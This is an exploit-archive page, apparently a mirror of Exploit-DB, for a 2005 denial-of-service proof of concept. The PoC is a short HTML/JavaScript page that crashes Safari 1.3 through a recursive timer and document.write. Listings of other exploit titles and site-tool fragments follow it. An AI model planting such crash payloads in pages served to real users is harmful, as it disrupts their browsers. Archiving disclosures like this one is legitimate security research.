Menu

Search for hundreds of thousands of exploits

"Apple Safari 1.3 Web Browser - JavaScript Invalid Address Denial of Service"

Author

Exploit author

"Patrick Webster"

Platform

Exploit platform

osx

Release date

Exploit published date

2005-08-09

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
source: https://www.securityfocus.com/bid/14528/info

Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs certain JavaScript operations.

The exact cause of this issue is currently unknown. This BID will be updated as further information is disclosed.

This vulnerability allows remote attackers to crash affected Web browsers by causing an invalid memory access exception.

Safari version 1.3 is reported susceptible to this issue. Other versions may also be affected. 

<html>
<script name="JavaScript">
<!--

function tickTock()
{
setTimeout("tickTock()", 1000);
thisTime = new Date()
seconds = thisTime.getSeconds()
document.write(seconds);
}

// -->
</script>

<body onLoad="tickTock();">
</html>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-02-11 "Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)" remote osx Metasploit
2017-08-09 "NoMachine 5.3.9 - Local Privilege Escalation" local osx "Daniele Linguaglossa"
2017-07-15 "Apple Mac OS X + Safari - Local Javascript Quarantine Bypass" local osx "Filippo Cavallarin"
2017-05-01 "HideMyAss Pro VPN Client for OS X 2.2.7.0 - Local Privilege Escalation" local osx "Han Sahin"
2017-04-13 "GNS3 Mac OS-X 1.5.2 - 'ubridge' Local Privilege Escalation" local osx "Hacker Fantastic"
2017-02-01 "Apple WebKit - 'HTMLFormElement::reset()' Use-After Free" dos osx "Google Security Research"
2017-01-23 "Microsoft Remote Desktop Client for Mac 8.0.36 - Code Execution" local osx "Filippo Cavallarin"
2017-01-10 "Apple OS X Yosemite - 'flow_divert-heap-overflow' Kernel Panic" dos osx "Brandon Azad"
2016-12-16 "Horos 2.1.0 DICOM Medical Image Viewer - Denial of Service" dos osx LiquidWorm
2016-12-16 "Horos 2.1.0 Web Portal - Directory Traversal" remote osx LiquidWorm
Release Date Title Type Platform Author
2014-12-22 "Lotus Mail Encryption Server 2.1.0.1 (Protector for Mail) - Local File Inclusion / Remote Code Execution (Metasploit)" webapps php "Patrick Webster"
2014-12-19 "Varnish Cache CLI Interface - Remote Code Execution (Metasploit)" remote linux "Patrick Webster"
2011-07-20 "Cyberoam UTM - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Patrick Webster"
2011-06-06 "Squiz Matrix 4 - 'colour_picker.php' Cross-Site Scripting" webapps php "Patrick Webster"
2011-05-02 "LANSA aXes Web Terminal TN5250 - 'axes_default.css' Cross-Site Scripting" webapps java "Patrick Webster"
2009-05-29 "SonicWALL SSL-VPN - 'cgi-bin/welcome/VirtualOffice' Remote Format String" remote hardware "Patrick Webster"
2009-04-02 "Asbru Web Content Management 6.5/6.6.9 - SQL Injection / Cross-Site Scripting" webapps asp "Patrick Webster"
2009-01-08 "PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting" webapps java "Patrick Webster"
2008-04-07 "Tumbleweed SecureTransport 4.6.1 FileTransfer - ActiveX Buffer Overflow" remote windows "Patrick Webster"
2007-09-03 "CCProxy 6.2 - Telnet Proxy Ping Overflow (Metasploit)" remote windows "Patrick Webster"
2007-04-11 "webMethods Glue 6.5.1 Console - Directory Traversal" remote windows "Patrick Webster"
2006-09-22 "mysource 2.14.8/2.16 - Multiple Vulnerabilities" webapps php "Patrick Webster"
2006-09-22 "Google Mini Search Appliance 4.4.102.M.36 - Information Disclosure" webapps php "Patrick Webster"
2006-09-21 "CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Arbitrary File Manipulation" remote windows "Patrick Webster"
2006-09-21 "CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Web Server Full Path Disclosure" remote windows "Patrick Webster"
2006-09-21 "CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Audit Event System Replay Attack" remote windows "Patrick Webster"
2005-08-09 "Apple Safari 1.3 Web Browser - JavaScript Invalid Address Denial of Service" dos osx "Patrick Webster" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected